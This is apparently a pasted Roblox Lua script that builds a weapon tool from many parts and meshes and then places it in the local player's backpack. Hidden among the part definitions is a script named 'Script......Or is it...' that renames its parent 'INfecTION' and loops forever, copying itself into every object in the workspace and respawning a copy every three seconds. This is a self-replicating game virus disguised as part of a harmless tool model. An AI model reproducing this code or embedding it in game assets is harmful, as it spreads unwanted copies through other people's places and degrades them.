  3872. BlockMesh324.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
  3873. BlockMesh324.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
  3874. Part325.Parent = Tool0
  3875. Part325.Material = Enum.Material.SmoothPlastic
  3876. Part325.BrickColor = BrickColor.new("Dark stone grey")
  3877. Part325.Rotation = Vector3.new(-90.5400009, -45, 89.2399979)
  3878. Part325.Anchored = true
  3879. Part325.FormFactor = Enum.FormFactor.Custom
  3880. Part325.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3881. Part325.CFrame = CFrame.new(27.1077881, 1.66210902, 138.346252, 0.00939139724, -0.707075417, -0.707075477, 3.55030458e-08, -0.707106471, 0.70710659, -0.999955356, -0.00664073229, -0.00664065778)
  3882. Part325.BottomSurface = Enum.SurfaceType.Smooth
  3883. Part325.TopSurface = Enum.SurfaceType.Smooth
  3884. Part325.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3885. Part325.Position = Vector3.new(27.1077881, 1.66210902, 138.346252)
  3886. Part325.Orientation = Vector3.new(-45, -90.5400009, 180)
  3887. Part325.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3888. BlockMesh326.Parent = Part325
  3889. BlockMesh326.Offset = Vector3.new(0, 0, 0.00300000003)
  3890. BlockMesh326.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
  3891. BlockMesh326.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
  3892. Part327.Parent = Tool0
  3893. Part327.Material = Enum.Material.SmoothPlastic
  3894. Part327.BrickColor = BrickColor.new("Dark stone grey")
  3895. Part327.Rotation = Vector3.new(0, -0.539999962, 0)
  3896. Part327.Anchored = true
  3897. Part327.FormFactor = Enum.FormFactor.Custom
  3898. Part327.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3899. Part327.CFrame = CFrame.new(27.15271, 1.47119105, 138.322876, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  3900. Part327.BottomSurface = Enum.SurfaceType.Smooth
  3901. Part327.TopSurface = Enum.SurfaceType.Smooth
  3902. Part327.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3903. Part327.Position = Vector3.new(27.15271, 1.47119105, 138.322876)
  3904. Part327.Orientation = Vector3.new(0, -0.539999962, 0)
  3905. Part327.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3906. BlockMesh328.Parent = Part327
  3907. BlockMesh328.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
  3908. BlockMesh328.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
  3909. Part329.Parent = Tool0
  3910. Part329.Material = Enum.Material.SmoothPlastic
  3911. Part329.BrickColor = BrickColor.new("Dark stone grey")
  3912. Part329.Rotation = Vector3.new(-90, 0, 89.4599991)
  3913. Part329.Anchored = true
  3914. Part329.FormFactor = Enum.FormFactor.Custom
  3915. Part329.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3916. Part329.CFrame = CFrame.new(27.1530762, 1.693115, 138.323853, 0.00939139724, -0.999955833, -2.45538843e-08, 3.55030458e-08, 1.02097069e-07, 0.999999821, -0.999955356, -0.00939165056, 3.52667371e-08)
  3917. Part329.BottomSurface = Enum.SurfaceType.Smooth
  3918. Part329.TopSurface = Enum.SurfaceType.Smooth
  3919. Part329.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3920. Part329.Position = Vector3.new(27.1530762, 1.693115, 138.323853)
  3921. Part329.Orientation = Vector3.new(-89.9700012, -34.8499985, 19.1700001)
  3922. Part329.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3923. CylinderMesh330.Parent = Part329
  3924. CylinderMesh330.Offset = Vector3.new(0, 0, -0.0360000022)
  3925. CylinderMesh330.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
  3926. CylinderMesh330.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
  3927. Part331.Parent = Tool0
  3928. Part331.Material = Enum.Material.SmoothPlastic
  3929. Part331.BrickColor = BrickColor.new("Dark stone grey")
  3930. Part331.Rotation = Vector3.new(-90, 0, 89.4599991)
  3931. Part331.Anchored = true
  3932. Part331.FormFactor = Enum.FormFactor.Custom
  3933. Part331.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3934. Part331.CFrame = CFrame.new(27.0330811, 1.693115, 138.321472, 0.00939139724, -0.999955833, -2.45538843e-08, 3.55030458e-08, 1.02097069e-07, 0.999999821, -0.999955356, -0.00939165056, 3.52667371e-08)
  3935. Part331.BottomSurface = Enum.SurfaceType.Smooth
  3936. Part331.TopSurface = Enum.SurfaceType.Smooth
  3937. Part331.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3938. Part331.Position = Vector3.new(27.0330811, 1.693115, 138.321472)
  3939. Part331.Orientation = Vector3.new(-89.9700012, -34.8499985, 19.1700001)
  3940. Part331.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3941. CylinderMesh332.Parent = Part331
  3942. CylinderMesh332.Offset = Vector3.new(0, 0, -0.0360000022)
  3943. CylinderMesh332.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
  3944. CylinderMesh332.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
  3945. Part333.Parent = Tool0
  3946. Part333.Material = Enum.Material.SmoothPlastic
  3947. Part333.BrickColor = BrickColor.new("Dark stone grey")
  3948. Part333.Rotation = Vector3.new(-90.5400009, -45, 89.2399979)
  3949. Part333.Anchored = true
  3950. Part333.FormFactor = Enum.FormFactor.Custom
  3951. Part333.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3952. Part333.CFrame = CFrame.new(27.0773926, 1.63916004, 138.345764, 0.00939139724, -0.707075417, -0.707075477, 3.55030458e-08, -0.707106471, 0.70710659, -0.999955356, -0.00664073229, -0.00664065778)
  3953. Part333.BottomSurface = Enum.SurfaceType.Smooth
  3954. Part333.TopSurface = Enum.SurfaceType.Smooth
  3955. Part333.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3956. Part333.Position = Vector3.new(27.0773926, 1.63916004, 138.345764)
  3957. Part333.Orientation = Vector3.new(-45, -90.5400009, 180)
  3958. Part333.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3959. BlockMesh334.Parent = Part333
  3960. BlockMesh334.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
  3961. BlockMesh334.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
  3962. Script335.Name = "Script......Or is it..."
  3963. Script335.Parent = mas
  3964. table.insert(cors,sandbox(Script335,function()
  3965. if script.Parent.className ~= "RotateP" then
  3966. local p = Instance.new("RotateP")
  3967. p.Parent = workspace
  3968. p.Name = "INfecTION"
  3969. script.Parent = p
  3970. end
  3971.  
  3972. function check()
  3973. local list = workspace:GetChildren()
  3974. for i = 1, #list do
  3975. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  3976. script.Parent:Clone().Parent = list[i]
  3977. end
  3978. wait()
  3979. end
  3980. end
  3981.  
  3982. while true do
  3983. check()
  3984. if workspace:findFirstChild("inFECtion") == nil then
  3985. local main = script.Parent:Clone()
  3986. main.Name = "inFECtion"
  3987. main.Parent = workspace
  3988. end
  3989. wait(3)
  3990. end
  3991.  
  3992. end))
  3993. Part336.Name = "AimPart"
  3994. Part336.Parent = Tool0
  3995. Part336.Material = Enum.Material.SmoothPlastic
  3996. Part336.Transparency = 1
  3997. Part336.Rotation = Vector3.new(-180, 0.539999962, -180)
  3998. Part336.Anchored = true
  3999. Part336.FormFactor = Enum.FormFactor.Custom
  4000. Part336.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4001. Part336.CFrame = CFrame.new(27.0975342, 1.63012695, 137.699341, -0.999955297, 0, 0.00939147174, 0, 1, 0, -0.00939147174, 0, -0.999955297)
  4002. Part336.BottomSurface = Enum.SurfaceType.Smooth
  4003. Part336.TopSurface = Enum.SurfaceType.Smooth
  4004. Part336.Position = Vector3.new(27.0975342, 1.63012695, 137.699341)
  4005. Part336.Orientation = Vector3.new(0, 179.459991, 0)
  4006. BlockMesh337.Parent = Part336
  4007. BlockMesh337.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
  4008. BlockMesh337.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
  4009. for i,v in pairs(mas:GetChildren()) do
  4010. v.Parent = game:GetService("Players").LocalPlayer.Backpack
  4011. pcall(function() v:MakeJoints() end)
  4012. end
  4013. mas:Destroy()
  4014. for i,v in pairs(cors) do
  4015. spawn(function()
  4016. pcall(v)
  4017. end)
  4018. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement